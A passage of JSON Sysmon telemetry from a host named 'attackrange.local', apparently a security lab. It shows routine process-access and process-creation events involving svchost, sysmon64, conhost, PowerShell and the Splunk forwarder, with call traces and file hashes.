11:55:40.240","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4423,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:40.240\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:40.240","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4424,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:40.240\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:40.240","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4425,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:40.240\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:40.240","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4426,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:40.240\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:40.240","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4427,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:40.240\r\nSourceProcessGUID: {90617006-413A-5F2D-0000-0010D50A0600}\r\nSourceProcessId: 3148\r\nSourceThreadId: 2512\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-413C-5F2D-0000-0010D6340600}\r\nTargetProcessId: 4664\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:40.240","SourceProcessGUID":"{90617006-413A-5F2D-0000-0010D50A0600}","SourceProcessId":"3148","SourceThreadId":"2512","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-413C-5F2D-0000-0010D6340600}","TargetProcessId":"4664","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4428,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:40.273\r\nProcessGuid: {90617006-413C-5F2D-0000-0010C1360600}\r\nProcessId: 5012\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Registry monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-regmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:40.273","ProcessGuid":"{90617006-413C-5F2D-0000-0010C1360600}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","FileVersion":"8.0.2","Description":"Registry monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-regmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4429,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:40.272\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-413C-5F2D-0000-0010C1360600}\r\nTargetProcessId: 5012\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:40.272","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-413C-5F2D-0000-0010C1360600}","TargetProcessId":"5012","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4430,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:40.272\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-413C-5F2D-0000-0010C1360600}\r\nTargetProcessId: 5012\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:40.272","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-413C-5F2D-0000-0010C1360600}","TargetProcessId":"5012","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4431,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:40.272\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 